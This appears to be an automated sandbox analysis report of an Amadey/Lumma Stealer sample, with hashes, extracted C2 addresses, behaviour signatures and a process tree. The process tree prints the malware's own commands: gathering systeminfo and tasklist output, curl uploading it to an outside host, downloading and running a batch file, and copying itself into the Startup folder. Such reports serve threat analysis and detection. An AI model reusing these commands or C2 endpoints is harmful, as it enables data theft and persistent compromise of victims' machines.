Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-12-2024 16:49

General

  • Target

    1ad2a88ab2ea0ffdaca780f48fee4da5361f67ba6923054c5d07e3bb71e4e095.exe

  • Size

    3.1MB

  • MD5

    f699d03687f5a293790e089b3079b8eb

  • SHA1

    af9489c0dcccc390ee87725524755817a4e097f5

  • SHA256

    1ad2a88ab2ea0ffdaca780f48fee4da5361f67ba6923054c5d07e3bb71e4e095

  • SHA512

    1a31859a61f0c93b39128d9879a43f28e627b82e96a2442d64ca6ab30558904cd718b5e151b18237d75b648d792486ffdbe0663b2807cb3d295dca4ca6b98ae8

  • SSDEEP

    49152:aKs8Du1a2GYwhLyZgrPW8iyS2MUliJOliNoPZMMDpdIcuU:aKs8DVYwhLyOrPt1LMUlqOliNx8fb

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

C2

https://impend-differ.biz/api

https://print-vexer.biz/api

https://dare-curbys.biz/api

https://covery-mover.biz/api

https://formy-spill.biz/api

https://dwell-exclaim.biz/api

https://zinc-sneark.biz/api

https://se-blurry.biz/api

https://drive-connect.cyou/api

Extracted

Family

lumma

C2

https://drive-connect.cyou/api

https://covery-mover.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 11 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\1ad2a88ab2ea0ffdaca780f48fee4da5361f67ba6923054c5d07e3bb71e4e095.exe
    "C:\Users\Admin\AppData\Local\Temp\1ad2a88ab2ea0ffdaca780f48fee4da5361f67ba6923054c5d07e3bb71e4e095.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3912
      • C:\Users\Admin\AppData\Local\Temp\1014060001\f0c53a142d.exe
        "C:\Users\Admin\AppData\Local\Temp\1014060001\f0c53a142d.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3528
        • C:\Users\Admin\AppData\Local\Temp\1014060001\f0c53a142d.exe
          "C:\Users\Admin\AppData\Local\Temp\1014060001\f0c53a142d.exe"
          4⤵
          • Executes dropped EXE
          PID:4392
        • C:\Users\Admin\AppData\Local\Temp\1014060001\f0c53a142d.exe
          "C:\Users\Admin\AppData\Local\Temp\1014060001\f0c53a142d.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2100
      • C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe
        "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:340
          • C:\Windows\SysWOW64\systeminfo.exe
            systeminfo
            5⤵
            • System Location Discovery: System Language Discovery
            • Gathers system information
            PID:1224
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1652
        • C:\Windows\SysWOW64\curl.exe
          curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4B424B574745424B2F41646D696E2F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3188
        • C:\Windows\SysWOW64\curl.exe
          curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4B424B574745424B2F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3688
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c type "C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe"
          4⤵
          • Drops startup file
          • System Location Discovery: System Language Discovery
          PID:760
        • C:\Windows\SysWOW64\curl.exe
          curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -H "X-Auth: 2F4B424B574745424B2F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2800
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4752
        • C:\Windows\SysWOW64\curl.exe
          curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865" -X POST -H "X-Auth: 2F4B424B574745424B2F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:316
      • C:\Users\Admin\AppData\Local\Temp\1014365001\W4KLQf7.exe
        "C:\Users\Admin\AppData\Local\Temp\1014365001\W4KLQf7.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1380
      • C:\Users\Admin\AppData\Local\Temp\1014430001\dwVrTdy.exe
        "C:\Users\Admin\AppData\Local\Temp\1014430001\dwVrTdy.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3668
        • C:\Program Files\Windows Media Player\graph\graph.exe
          "C:\Program Files\Windows Media Player\graph\graph.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1356
  • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:3096
  • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:3880
  • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Executes dropped EXE
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:1148

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Program Files\Windows Media Player\graph\graph.exe

    Filesize

    245KB

    MD5

    7d254439af7b1caaa765420bea7fbd3f

    SHA1

    7bd1d979de4a86cb0d8c2ad9e1945bd351339ad0

    SHA256

    d6e7ceb5b05634efbd06c3e28233e92f1bd362a36473688fbaf952504b76d394

    SHA512

    c3164b2f09dc914066201562be6483f61d3c368675ac5d3466c2d5b754813b8b23fd09af86b1f15ab8cc91be8a52b3488323e7a65198e5b104f9c635ec5ed5cc

  • C:\Users\Admin\AppData\Local\Temp\1014060001\f0c53a142d.exe

    Filesize

    710KB

    MD5

    28e568616a7b792cac1726deb77d9039

    SHA1

    39890a418fb391b823ed5084533e2e24dff021e1

    SHA256

    9597798f7789adc29fbe97707b1bd8ca913c4d5861b0ad4fdd6b913af7c7a8e2

    SHA512

    85048799e6d2756f1d6af77f34e6a1f454c48f2f43042927845931b7ecff2e5de45f864627a3d4aa061252401225bbb6c2caa8532320ccbe401e97c9c79ac8e5

  • C:\Users\Admin\AppData\Local\Temp\1014081001\M5iFR20.exe

    Filesize

    898KB

    MD5

    5950611ed70f90b758610609e2aee8e6

    SHA1

    798588341c108850c79da309be33495faf2f3246

    SHA256

    5270c4c6881b7d3ebaea8f51c410bba8689acb67c34f20440527a5f15f3bc1e4

    SHA512

    7e51c458a9a2440c778361eb19f0c13ea4de75b2cf54a5828f6230419fbf52c4702be4f0784e7984367d67fabf038018e264e030e4a4c7dac7ba93e5c1395b80

  • C:\Users\Admin\AppData\Local\Temp\1014365001\W4KLQf7.exe

    Filesize

    3.7MB

    MD5

    12c766cab30c7a0ef110f0199beda18b

    SHA1

    efdc8eb63df5aae563c7153c3bd607812debeba4

    SHA256

    7b2070ca45ec370acba43623fb52931ee52bee6f0ce74e6230179b058fa2c316

    SHA512

    32cad9086d9c7a8d88c3bfcb0806f350f0df9624637439f1e34ab2efffa0c273faef0c226c388ed28f07381aef0655af9e3eb3e9557cbfd2d8c915b556b1cf10

  • C:\Users\Admin\AppData\Local\Temp\1014430001\dwVrTdy.exe

    Filesize

    591KB

    MD5

    3567cb15156760b2f111512ffdbc1451

    SHA1

    2fdb1f235fc5a9a32477dab4220ece5fda1539d4

    SHA256

    0285d3a6c1ca2e3a993491c44e9cf2d33dbec0fb85fdbf48989a4e3b14b37630

    SHA512

    e7a31b016417218387a4702e525d33dd4fe496557539b2ab173cec0cb92052c750cfc4b3e7f02f3c66ac23f19a0c8a4eb6c9d2b590a5e9faeb525e517bc877ba

  • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

    Filesize

    3.1MB

    MD5

    f699d03687f5a293790e089b3079b8eb

    SHA1

    af9489c0dcccc390ee87725524755817a4e097f5

    SHA256

    1ad2a88ab2ea0ffdaca780f48fee4da5361f67ba6923054c5d07e3bb71e4e095

    SHA512

    1a31859a61f0c93b39128d9879a43f28e627b82e96a2442d64ca6ab30558904cd718b5e151b18237d75b648d792486ffdbe0663b2807cb3d295dca4ca6b98ae8

  • C:\Users\Admin\AppData\Local\Temp\tmp.bat

    Filesize

    2B

    MD5

    81051bcc2cf1bedf378224b0a93e2877

    SHA1

    ba8ab5a0280b953aa97435ff8946cbcbb2755a27

    SHA256

    7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6

    SHA512

    1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

  • C:\Users\Admin\AppData\Local\Temp\tmp.ini

    Filesize

    34B

    MD5

    557464a645cbcc72fb20348e1c58dbfd

    SHA1

    2a68b1e4c9cca06c959a3174058a27da0faddadd

    SHA256

    2fb99e1172ec47d7d0a943294a483e9c695d774ad9eca0c689eb0e4ad4982c66

    SHA512

    728fba91e931258ed5ad1ff48299193384c0053770e05c0f813e8407dd328454c2c233da52ea67eb5aaf1c523a8d0e5de5a30b9bc94186e62c204b26df23123e

  • C:\Users\Admin\AppData\Local\Temp\tmp.txt

    Filesize

    9KB

    MD5

    4d301538ebf0d9e0a5e60561443adab3

    SHA1

    fb74494d0cd550a83065affeb3253236e873501a

    SHA256

    75183a263177dbdbf6dbb1efb28a9d8e2a98b2474f6197f0863e93be231b05d6

    SHA512

    0e8e15387ac1676a8f972d371e37e6443b5d3783324b708fda46d3cf26d31bcfceb83303fe4cf5b02f70bf9648ac34181b90ef3dab3427302204ea5ffc5ce17e

  • memory/552-4-0x0000000000E60000-0x000000000117F000-memory.dmp

    Filesize

    3.1MB

  • memory/552-18-0x0000000000E60000-0x000000000117F000-memory.dmp

    Filesize

    3.1MB

  • memory/552-19-0x0000000000E61000-0x0000000000EC9000-memory.dmp

    Filesize

    416KB

  • memory/552-3-0x0000000000E60000-0x000000000117F000-memory.dmp

    Filesize

    3.1MB

  • memory/552-2-0x0000000000E61000-0x0000000000EC9000-memory.dmp

    Filesize

    416KB

  • memory/552-0-0x0000000000E60000-0x000000000117F000-memory.dmp

    Filesize

    3.1MB

  • memory/552-1-0x00000000778A4000-0x00000000778A6000-memory.dmp

    Filesize

    8KB

  • memory/1148-163-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/1380-129-0x0000000000400000-0x00000000007BD000-memory.dmp

    Filesize

    3.7MB

  • memory/1380-156-0x0000000002450000-0x00000000024C9000-memory.dmp

    Filesize

    484KB

  • memory/1380-157-0x0000000002450000-0x00000000024C9000-memory.dmp

    Filesize

    484KB

  • memory/2100-45-0x0000000000400000-0x0000000000457000-memory.dmp

    Filesize

    348KB

  • memory/2100-49-0x0000000000400000-0x0000000000457000-memory.dmp

    Filesize

    348KB

  • memory/2100-50-0x0000000000EC0000-0x0000000000F75000-memory.dmp

    Filesize

    724KB

  • memory/3096-53-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3096-54-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3528-44-0x0000000000EDE000-0x0000000000EDF000-memory.dmp

    Filesize

    4KB

  • memory/3880-89-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3880-88-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-90-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-28-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-25-0x00000000006E1000-0x0000000000749000-memory.dmp

    Filesize

    416KB

  • memory/3912-83-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-84-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-85-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-86-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-77-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-102-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-73-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-16-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-51-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-26-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-24-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-23-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-128-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-139-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-22-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-21-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-20-0x00000000006E1000-0x0000000000749000-memory.dmp

    Filesize

    416KB

  • memory/3912-158-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB

  • memory/3912-91-0x00000000006E0000-0x00000000009FF000-memory.dmp

    Filesize

    3.1MB